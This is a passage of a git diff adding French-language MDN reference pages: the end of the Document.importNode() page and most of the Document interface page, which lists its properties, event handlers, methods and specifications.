+<p>Les nœuds provenant de documents externes doivent être clonés à l'aide de <a href="/fr/docs/Web/API/Document/importNode" title="La méthode Document importNode() crée une nouvelle copie du Node ou DocumentFragment spécifié à partir d'un autre document, afin qu'il puisse être inséré dans le document actuel. Il n'est pas encore inclus dans l'arbre des documents; Pour ce faire, vous devez appeler une méthode telle que appendChild () ou insertBefore ()."><code>document.importNode()</code></a> (ou adoptés avec <a href="/fr/docs/Web/API/Document/adoptNode" title="Adopte un noeud. Le noeud (et son sous-arbre) est supprimé du document dans lequel il se trouve (le cas échéant) et son  ownerDocument  (document propriétaire) est remplacé par le document en cours. Le noeud peut ensuite être inséré dans le document en cours."><code>document.adoptNode()</code></a>) avant de pouvoir être insérés dans le document courant. Pour en savoir plus sur les problèmes de <a href="/fr/docs/Web/API/Node/ownerDocument" title="La propriété en lecture seule Node.ownerDocument renvoie l'objet document de niveau supérieur pour ce nœud."><code>Node.ownerDocument</code></a>, consultez la <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">FAQ DOM du W3C</a> (en anglais).</p>
+
+<p>Gecko n'obligeait pas à utiliser <a href="/fr/docs/Web/API/Document/importNode" title="La méthode Document importNode() crée une nouvelle copie du Node ou DocumentFragment spécifié à partir d'un autre document, afin qu'il puisse être inséré dans le document actuel. Il n'est pas encore inclus dans l'arbre des documents; Pour ce faire, vous devez appeler une méthode telle que appendChild () ou insertBefore ()."><code>document.importNode()</code></a> et <a href="/fr/docs/Web/API/Document/adoptNode" title="Adopte un noeud. Le noeud (et son sous-arbre) est supprimé du document dans lequel il se trouve (le cas échéant) et son  ownerDocument  (document propriétaire) est remplacé par le document en cours. Le noeud peut ensuite être inséré dans le document en cours."><code>document.adoptNode()</code></a> avant sa version 1.9. Depuis les versions 1.9 alphas, si un nœud n'est pas adopté ou importé avant d'être utilisé dans un autre document, l'exception <code>WRONG_DOCUMENT_ERR</code> est déclenchée (<code>NS_ERROR_DOM_WRONG_DOCUMENT_ERR</code>). implémentation dans le <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=47903" rel="noopener" title="FIXED: WRONG_DOCUMENT_ERR not being thrown">bug 47903</a>.</p>
+
+<p> </p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#Core-Document-importNode", "document.importNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.importNode")}}  </p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("document.adoptNode()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/document/index.html b/files/fr/web/api/document/index.html
new file mode 100644
index 0000000000..fa8a1dd365
--- /dev/null
+++ b/files/fr/web/api/document/index.html
@@ -0,0 +1,490 @@
+---
+title: document
+slug: Web/API/Document
+tags:
+  - API
+  - DOM
+  - Document
+  - Interface
+  - Reference
+translation_of: Web/API/Document
+---
+<p>{{ApiRef}}</p>
+
+<p><span id="result_box" lang="fr"><span>L'interface <strong><code>Document</code></strong> représente n'importe quelle page Web chargée dans le navigateur et sert de point d'entrée dans le contenu de la page Web, qui est l'arborescence DOM.</span> <span>L'arborescence DOM inclut des éléments tels que {{HTMLElement ("body")}} <em>(corps)</em> et {{HTMLElement ("table")}} <em>(tableau)</em>, parmi beaucoup d'autres.</span> <span>Il fournit des fonctionnalités globales au document, comme le moyen d'obtenir l'URL de la page et de créer de nouveaux éléments dans le document.</span></span></p>
+
+<p>{{inheritanceDiagram}}</p>
+
+<p><span id="result_box" lang="fr"><span>L'interface Document décrit les propriétés et méthodes communes à tout type de document.</span> <span>En fonction du type de document (HTML, XML, SVG, ...), une API plus grande est disponible : les documents HTML, servis avec le type <code>text/html</code>, implémentent également l'interface {{domxref ("HTMLDocument")}}, alors que</span> l<span>es documents XML et SVG implémentent l'interface {{domxref ("XMLDocument")}}.</span></span></p>
+
+<h2 id="Constructeur"><span lang="fr"><span>Constructeur</span></span></h2>
+
+<dl>
+ <dt>{{domxref("Document.Document","Document()")}}{{non-standard_inline}}</dt>
+ <dd>crée un nouvel objet <code>Document</code> .</dd>
+</dl>
+
+<h2 id="Propri.C3.A9t.C3.A9s" name="Propri.C3.A9t.C3.A9s">Propriétés</h2>
+
+<p><em>Cette interface hérite aussi des interfaces {{domxref("Node")}} et {{domxref("EventTarget")}} .</em></p>
+
+<dl>
+ <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>fournit un accès à tous les éléments du document. <span id="result_box" lang="fr"><span>C'est une interface héritée non standard qui ne doit pas être utilisée.</span></span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt>
+ <dd>utilisé avec {{domxref("document.load")}} pour indiquer une requête asynchrone.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.characterSet")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
+ <dd>renvoie le jeu de caractères utilisé par le document.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>indique si le document est rendu en mode <em>Quirks</em> ou <em>Strict</em>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Renvoie le type de contenu de l'en-tête MIME du document courant.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.doctype")}} {{readonlyinline}}</dt>
+ <dd>Renvoie le DTD (Document Type Definition) du document courant.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.documentElement")}} {{readonlyinline}}</dt>
+ <dd>Renvoie l'{{domxref("Element")}} qui est l'enfant direct du document. Pour les documents HTML, il s'agit normalement de l'élément {{HTMLElement("HTML")}}.</dd>
+ <dt>{{domxref("Document.documentURI")}} {{readonlyinline}}</dt>
+ <dd>retroune l'emplacement du document sous la forme d'une chaîne de caractères.</dd>
+ <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt>
+ <dd>devrait retourner un objet {{domxref("DOMConfiguration")}} .</dd>
+ <dt>{{domxref("Document.fullscreen")}} {{obsolete_inline}}</dt>
+ <dd><code>true</code> <em>(vrai)</em> quand le document est en {{domxref("Using_full-screen_mode","mode plein écran")}}.</dd>
+ <dt>{{domxref("Document.hidden")}} {{readonlyinline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Document.implementation")}} {{readonlyinline}}</dt>
+ <dd>Renvoie l'implémentation DOM associée au document courant.</dd>
+ <dt>{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
+ <dd>alias de {{domxref("Document.characterSet")}}. Utilisez cette propriété à la place.</dd>
+ <dt>{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}</dt>
+ <dd>retourne le nom de l'ensemble de feuilles de style qui a été activé en dernier. <span id="result_box" lang="fr"><span>A la valeur <code>null</code> jusqu'à ce que la feuille de style soit modifiée en définissant la valeur de </span></span> {{domxref("document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd>
+ <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt>
+ <dd>retourne un {{jsxref("Boolean")}} qui est <code>true</code> <em>(vrai)</em> seulement si le document est synthétique, <span id="result_box" lang="fr"><span>tel qu'une image autonome, une vidéo, un fichier audio ou similaire.</span></span></dd>
+ <dt>{{domxref("Document.mozFullScreenElement")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd>L'élément qui est actuellement affiché en mode plein écran pour ce document.</dd>
+ <dt>{{domxref("Document.mozFullScreenEnabled")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd><code>true</code> <em>(vrai)</em> si l'appel  {{domxref("Element.mozRequestFullscreen()")}}  est réussi dans le document courant.</dd>
+ <dt>{{domxref("Document.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>renvoie l'ensemble d'éléments en tant que cible pour les événements de la souris lorsque le pointeur est verrouillé.</span> <span><code>null</code> si le verrouillage est en attente, le pointeur est déverrouillé ou la cible se trouve dans un autre document.</span></span></dd>
+ <dt>{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}</dt>
+ <dd>renvoie la page de style préférée spécifiée par l'auteur de la page.</dd>
+ <dt>{{domxref("Document.scrollingElement")}} {{experimental_inline}} {{readonlyinline}}</dt>
+ <dd>retourne une référence à l'{{domxref("Element")}} qui fait défiler le document.</dd>
+ <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt>
+ <dd>renvoie la feuille de style actuellement utilisée.</dd>
+ <dt>{{domxref("Document.styleSheets")}} {{readonlyinline}}</dt>
+ <dd>Renvoie une liste de tous les objets {{domxref("stylesheet")}}<em> (feuilles de styles)</em> du document courant.</dd>
+ <dt>{{domxref("Document.timeline")}} {{readonlyinline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Document.visibilityState")}} {{readonlyinline}}</dt>
+ <dd>renvoie une <code>string</code> <em>(chaîne de caractères)</em> <span id="result_box" lang="fr"><span>indiquant l'état de visibilité du document.</span> <span>Les valeurs possibles sont </span></span> <code>visible</code> <span lang="fr"><span>, </span></span> <code>hidden <em>(masqué)</em></code> <span lang="fr"><span>, prerender <em>(pré-rendu)</em> et </span></span> <code>unloaded</code> <em>(</em><span lang="fr"><span><em>déchargées</em>).</span></span></dd>
+ <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>retourne le codage déterminé par une déclaration XML.</dd>
+ <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>renvoie <code>true</code> si la déclaration XML précise que le document doit être autonome (par exemple, une partie externe de la DTD du contenu du document), sinon <code>false</code> <em>(faux)</em>.</dd>
+ <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>retourne le numéro de la version spécifié dans la déclaration XML ou <code>"1.0"</code> si la déclaration est absente.</dd>
+</dl>
+
+<p>L'interface Document est étendue avec l'interface {{domxref("ParentNode")}} :</p>
+
+<p>{{page("/fr/docs/Web/API/ParentNode","Propriétés")}}</p>
+
+<h3 id="Extensions_du_document_HTML">Extensions du document HTML</h3>
+
+<p>L'interface Document, pour les documents HTML, hérite de l'interface <em>{{domxref("HTMLDocument")}}</em>  ou depuis HTML5, est étendue pour eux.</p>
+
+<dl>
+ <dt>{{domxref("Document.activeElement")}} {{readonlyinline}}</dt>
+ <dd>Renvoie l'élément courant qui a la focus.</dd>
+ <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Renvoie ou définit la couleur des liens actifs du corps du document.</dd>
+ <dt>{{domxref("Document.anchors")}}</dt>
+ <dd>Renvoie une liste de toutes les ancres du document.</dd>
+ <dt>{{domxref("Document.applets")}} {{Deprecated_inline}}</dt>
+ <dd>Renvoie une liste ordonnée des "applets" du document.</dd>
+ <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt>
+ <dd><strong>bgColor</strong> renvoie ou définit la couleur d'arrière-plan du document courant.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.body")}}</dt>
+ <dd><strong>body</strong> renvoie l'élément  {{HTMLElement("body")}} du document en cours.</dd>
+ <dt>{{domxref("Document.cookie")}}</dt>
+ <dd>Renvoie une liste des cookies du document, séparés par des points virgules, ou définit un cookie.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.defaultView")}} {{readonlyinline}}</dt>
+ <dd>Renvoie une référence à l'objet window.</dd>
+ <dt>{{domxref("Document.designMode")}}</dt>
+ <dd>renvoie ou définit les capacités d'édition <span class="short_text" id="result_box" lang="fr"><span>du document entier.</span></span></dd>
+ <dt>{{domxref("Document.dir")}} {{readonlyinline}}</dt>
+ <dd>Assigne / renvoie le sens du texte (rtl/ltr) <em>(de gauche à droite / de droite à gauche)</em> du document.</dd>
+ <dt>{{domxref("Document.domain")}}</dt>
+ <dd>renvoie ou affecte le domaine de l'élément courant.</dd>
+ <dt>{{domxref("Document.embeds")}} {{readonlyinline}}</dt>
+ <dd>renvoie une liste des objets {{HTMLElement('embed')}} inclus dans le document courant.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.fgColor")}} {{Deprecated_inline}}</dt>
+ <dd>renvoie ou définit la couleur du texte du document courant.</dd>
+ <dt>{{domxref("Document.forms")}} {{readonlyinline}}</dt>
+ <dd><strong>forms</strong> renvoie une liste des éléments {{HTMLElement("form")}} du document courant</dd>
+ <dt>{{domxref("Document.head")}} {{readonlyinline}}</dt>
+ <dd>Renvoie l'élément {{HTMLElement("head")}} du document.</dd>
+ <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>renvoie ou définit la hauteur du document courant.</dd>
+ <dt>{{domxref("Document.images")}} {{readonlyinline}}</dt>
+ <dd>renvoie une liste des images du document courant.</dd>
+ <dt>{{domxref("Document.lastModified")}} {{readonlyinline}}</dt>
+ <dd>Renvoie la date de dernière modification du document.</dd>
+ <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Renvoie ou définit la couleur des liens du document.</dd>
+ <dt>{{domxref("Document.links")}} {{readonlyinline}}</dt>
+ <dd>Renvoie un tableau de tous les liens du document.</dd>
+ <dt>{{domxref("Document.location")}} {{readonlyinline}}</dt>
+ <dd>Renvoie l'URI (Uniform Ressource Identifier : <em>identifiant uniforme de ressource</em>) du document courant.</dd>
+ <dt>{{domxref("Document.plugins")}} {{readonlyinline}}</dt>
+ <dd>Renvoie une liste des plugins disponibles.</dd>
+ <dt>{{domxref("Document.readyState")}} {{readonlyinline}}  {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>retourne l'état du chargement du document.</dd>
+ <dt>{{domxref("Document.referrer")}} {{readonlyinline}}</dt>
+ <dd>Renvoie l'URI de la page qui a amené à cette page.</dd>
+ <dt>{{domxref("Document.scripts")}} {{readonlyinline}}</dt>
+ <dd>renvoie tous les éléments {{HTMLElement("script")}}  sur le document.</dd>
+ <dt>{{domxref("Document.title")}}</dt>
+ <dd>Renvoie le titre du document courant.</dd>
+ <dt>{{domxref("Document.URL")}}  {{readonlyInline}}</dt>
+ <dd>Renvoie une chaîne de caractères contenant l'URL ("Uniform Resource Locator", <em>repère uniforme de ressource</em>) du document courant.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Renvoie ou définit la couleur des liens visités du document.</dd>
+ <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Renvoie la largeur du document courant.</dd>
+</dl>
+
+<h3 id="Gestionnaire_d'évènements">Gestionnaire d'évènements</h3>
+
+<dl>
+ <dt>{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}</dt>
+ <dd>représente le code de gestion d'évènements pour l'évènement {{event("afterscriptexecute")}}</dd>
+ <dt>{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}</dt>
+ <dd>retourne le code de gestion d'évènements pour l'évènement {{event("beforescriptexecute")}} .</dd>
+ <dt>{{domxref("Document.oncopy")}} {{non-standard_inline}}</dt>
+ <dd>représente le code de gestion d'évènements pour l'évènement {{event("copy")}} .</dd>
+ <dt>{{domxref("Document.oncut")}} {{non-standard_inline}}</dt>
+ <dd>représente le code de gestion d'évènements pour l'évènement {{event("cut")}} .</dd>
+ <dt>{{domxref("Document.onfullscreenchange")}}</dt>
+ <dd>est un  {{domxref("EventHandler")}} <em>( gestionnaire d'évènements)</em> représentant le code à appeler quand l'élément {{event("fullscreenchange")}} est relevé.</dd>
+ <dt>{{domxref("Document.onfullscreenerror")}}</dt>
+ <dt>{{domxref("Document.onfullscreenchange")}}</dt>
+ <dd>est un  {{domxref("EventHandler")}} <em>( gestionnaire d'évènements)</em> représentant le code à appeler quand l'élément {{event("fullscreenerror")}} est relevé.</dd>
+ <dt>{{domxref("Document.onpaste")}} {{non-standard_inline}}</dt>
+ <dd>représente le code de gestion d'évènements pour l'évènement {{event("paste")}} .</dd>
+ <dt>{{domxref("Document.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>représente le code de gestion d'évènements pour l'évènement {{event("pointerlockchange")}} .</dd>
+ <dt>{{domxref("Document.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>représente le code de gestion d'évènements pour l'évènement {{event("pointerlockerror")}} .</dd>
+ <dt>{{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>représente le code de gestion d'évènements pour l'évènement {{event("readystatechange")}} .</dd>
+ <dt>{{domxref("Document.onselectionchange")}} {{experimental_inline}}</dt>
+ <dd>est un  {{domxref("EventHandler")}} <em>( gestionnaire d'évènements)</em> représentant le code à appeler quand l'élément {{event("selectionchange")}} est relevé.</dd>
+ <dt>{{domxref("Document.onvisibilitychange")}}</dt>
+ <dd>est un  {{domxref("EventHandler")}} <em>( gestionnaire d'évènements)</em> représentant le code à appeler quand l'élément {{event("visibilitychange")}} est relevé.</dd>
+ <dt>{{domxref("Document.onwheel")}} {{non-standard_inline}}</dt>
+ <dd>représente le code de gestion d'évènements pour l'évènement {{event("wheel")}} .</dd>
+</dl>
+
+<p>L'interface <code>Document</code> est étendue avec l'interface {{domxref("GlobalEventHandlers")}} :</p>
+
+<p>{{Page("/fr/docs/Web/API/GlobalEventHandlers", "Propriétés")}}</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em><span id="result_box" lang="fr"><span>Cette interface hérite également des interfaces {{domxref ("Node")}} et {{domxref ("EventTarget")}}.</span></span></em></p>
+
+<dl>
+ <dt>{{domxref("Document.adoptNode()")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="fr"><span>adopte le noeud d'un document externe.</span></span></dd>
+ <dt>{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>voir {{domxref("Window.captureEvents")}}.</dd>
+ <dt>{{domxref("Document.caretPositionFromPoint()")}}{{experimental_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>obtient le {{domxref ("CaretPosition")}} aux ou près des coordonnées spécifiées.</span></span></dd>
+ <dt>{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Obtient un objet {{Domxref ("Range")}} pour le fragment de document sous les coordonnées spécifiées.</span></span></dd>
+ <dt>{{domxref("Document.createAttribute()")}}</dt>
+ <dd>Crée un nouvel objet {{domxref("Attr")}} et le renvoie.</dd>
+ <dt>{{domxref("Document.createAttributeNS()")}}</dt>
+ <dd>Crée un nouveau noeud dans l'espace nom donné et le renvoie.</dd>
+ <dt>{{domxref("Document.createCDATASection()")}}</dt>
+ <dd>Crée un nouveau nœud CDATA et le renvoie.</dd>
+ <dt>{{domxref("Document.createComment()")}}</dt>
+ <dd>Crée un nouveau nœud de commentaire et le renvoie.</dd>
+ <dt>{{domxref("Document.createDocumentFragment()")}}</dt>
+ <dd>Crée un nouveau fragment de document.</dd>
+ <dt>{{domxref("Document.createElement()")}}</dt>
+ <dd>Crée un nouvel élément avec l'étiquette spécifiée.</dd>
+ <dt>{{domxref("Document.createElementNS()")}}</dt>
+ <dd>Crée un nouvel élément du type et avec l'URI d'espace de nom spécifiés.</dd>
+ <dt>{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}</dt>
+ <dd>Crée un nouvel objet de référence à une entité et le renvoie.</dd>
+ <dt>{{domxref("Document.createEvent()")}}</dt>
+ <dd>Crée un nouvel évènement.</dd>
+ <dt>{{domxref("Document.createNodeIterator()")}}</dt>
+ <dd>crée un objet {{domxref("NodeIterator")}} .</dd>
+ <dt>{{domxref("Document.createProcessingInstruction()")}}</dt>
+ <dd>crée un nouvel objet {{domxref("ProcessingInstruction")}} .</dd>
+ <dt>{{domxref("Document.createRange()")}}</dt>
+ <dd>Crée un objet {{domxref("Range")}} .</dd>
+ <dt>{{domxref("Document.createTextNode()")}}</dt>
+ <dd>Crée un nœud de texte.</dd>
+ <dt>{{domxref("Document.createTouch()")}} {{Deprecated_inline}}</dt>
+ <dd>crée un objet {{domxref("Touch")}}</dd>
+ <dt>{{domxref("Document.createTouchList()")}}</dt>
+ <dd>crée un objet {{domxref("TouchList")}}</dd>
+ <dt>{{domxref("Document.createTreeWalker()")}}</dt>
+ <dd>Crée un objet {{domxref("TreeWalker")}} .</dd>
+ <dt>{{domxref("Document.elementFromPoint()")}}{{experimental_inline}}</dt>
+ <dd>Renvoie l'élément visible aux coordonnées spécifiées.</dd>
+ <dt>{{domxref("Document.elementsFromPoint()")}}{{experimental_inline}}</dt>
+ <dd>Renvoie un tableau de tous les éléments aux coordonnées spécifiées.</dd>
+ <dt>{{domxref("Document.enableStyleSheetsForSet()")}}</dt>
+ <dd>active les feuilles de style pour l'ensemble de feuilles de style spécifié.</dd>
+ <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Supprime le verrou du pointeur.</dd>
+ <dt>{{domxref("Document.getAnimations()")}} {{experimental_inline}}</dt>
+ <dd>retourne un tableau de tous les objets {{domxref("Animation")}} actuels, dont les éléments cibles sont les descendants de ce <code>document</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.getElementsByClassName()")}}</dt>
+ <dd>Renvoie une liste des éléments ayant le nom de classe donné.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.getElementsByTagName()")}}</dt>
+ <dd>Renvoie une liste des éléments ayant le nom de balise donné.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.getElementsByTagNameNS()")}}</dt>
+ <dd>Renvoie une liste des éléments du nom de balise et de l'espace de noms spécifiés.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Document.importNode()")}}</dt>
+ <dd>Renvoie une copie (un clone) d'un élément provenant d'un document externe.</dd>
+ <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt>
+ <dd>remplace les entités, normalise les noeuds de texte, etc.</dd>
+ <dt>{{domxref("Document.registerElement()")}} {{experimental_inline}}</dt>
+ <dd><span class="short_text" id="result_box" lang="fr"><span>Enregistre un composant Web.</span></span></dd>
+ <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Libère la capture de la souris en cours s'il s'agit d'un élément de ce document.</span></span></dd>
+ <dt>{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>voir {{domxref("Window.releaseEvents()")}}.</dd>
+ <dt>{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt>
+ <dd>Voir {{domxref("Window.routeEvent()")}}.</dd>
+ <dt>{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Vous permet de modifier l'élément utilisé comme image d'arrière-plan pour un ID d'élément spécifié.</span></span></dd>
+</dl>
+
+<p>L'interface <code>Document</code> est étendue avec l'interface {{domxref("ParentNode")}} :</p>
+
+<dl>
+ <dt>{{domxref("document.getElementById","document.getElementById(String id)")}}</dt>
+ <dd>retourne une référence d'objet à l'élément identifié.</dd>
+ <dt>{{domxref("document.querySelector","document.querySelector(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Renvoie le premier noeud <code>Element</code> dans le document, dans l'ordre du document, qui correspond aux sélecteurs spécifiés.</span></span></dd>
+ <dt>{{domxref("document.querySelectorAll","document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>retourne une liste de tous les noeuds éléments inclus dans le document qui correspondent aux sélecteurs spécifiés.</dd>
+</dl>
+
+<p>L'interface Document est étendue avec l'interface  {{domxref("XPathEvaluator")}} :</p>
+
+<dl>
+ <dt>{{domxref("document.createExpression","document.createExpression(String expression, XPathNSResolver resolver)")}}</dt>
+ <dd>compile une <code><a href="https://developer.mozilla.org/fr/docs/Web/API/XPathExpression" title="XPathExpression">XPathExpression</a></code> qui peut ensuite être utilisée pour des évaluations (répétées).</dd>
+ <dt>{{domxref("document.createNSResolver","document.createNSResolver(Node resolver)")}}</dt>
+ <dd>crée un objet {{domxref("XPathNSResolver")}} .</dd>
+ <dt>{{domxref("document.evaluate","document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}}</dt>
+ <dd>évalue l'expression XPath .</dd>
+</dl>
+
+<h3 id="Extensions_pour_les_documents_HTML">Extensions pour les documents HTML</h3>
+
+<dl>
+ <dt>{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>dans la majorité des navigateurs modernes, y compris les versions récentes de Firefox et Internet Explorer, cette méthode ne fait rien.</span></span></dd>
+ <dt>{{domxref("document.close()")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="fr"><span>ferme un flux de document pour l'écriture.</span></span></dd>
+ <dt>{{domxref("document.execCommand","document.execCommand(String command[, Boolean showUI[, String value]])")}}</dt>
+ <dd>Sur un document modifiable, exécute une commande de formatage.</dd>
+ <dt>{{domxref("document.getElementsByName","document.getElementsByName(String name)")}}</dt>
+ <dd>retourne une liste d'éléments ayant le nom donné.</dd>
+ <dt>{{domxref("document.getSelection()")}}</dt>
+ <dd>retourne un objet {{domxref("Selection")}} relatif au texte sélectionné dans le document.</dd>
+ <dt>{{domxref("document.hasFocus()")}}</dt>
+ <dd>retourne <code>true</code> (vrai) si le focus est actuellement localisé n'importe où sur le document spécifié.</dd>
+ <dt>{{domxref("document.open()")}}</dt>
+ <dd>Ouvre un flux pour l'écriture dans le document.</dd>
+ <dt>{{domxref("document.queryCommandEnabled","document.queryCommandEnabled(String command)")}}</dt>
+ <dd>Renvoie <code>true</code> si la commande de formatage peut être exécutée sur la plage courante.</dd>
+ <dt>{{domxref("document.queryCommandIndeterm","document.queryCommandIndeterm(String command)")}}</dt>
+ <dd>Renvoie <code>true</code> si la commande de formatage est dans un état indéterminé sur la plage courante.</dd>
+ <dt>{{domxref("document.queryCommandState","document.queryCommandState(String command)")}}</dt>
+ <dd>Renvoie <code>true</code> si la commande de formatage a été exécutée sur la plage courante.</dd>
+ <dt>{{domxref("document.queryCommandSupported","document.queryCommandSupported(String command)")}}</dt>
+ <dd>retourne <code>true</code> <em>(vrai)</em> si la commande de formatage est supportée sur la plage courante.</dd>
+ <dt>{{domxref("document.queryCommandValue","document.queryCommandValue(String command)")}}</dt>
+ <dd>renvoie la valeur courante de la plage en cours pour une commande de formatage.</dd>
+ <dt>{{domxref("document.write","document.write(String text)")}}</dt>
+ <dd>Écrit du texte dans le document.</dd>
+ <dt>{{domxref("document.writeln","document.writeln(String text)")}}</dt>
+ <dd>Écrit une ligne de texte dans le document.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Page Visibility API', '#onvisiblitychange-event-handler', 'onvisibilitychange')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Ajoute <code>onvisibilitychange.</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selection API', '', 'Extend Document and GlobalEventHandlers')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>Ajoute <code>onselectstart</code>et <code>onselectionchange</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale pour l'interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Remplace DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>remplace DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>en vue de remplacer DOM 3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Transforme l'interface {{domxref("HTMLDocument")}} en une extension de <code>Document</code></td>
+  </tr>
+  <tr>
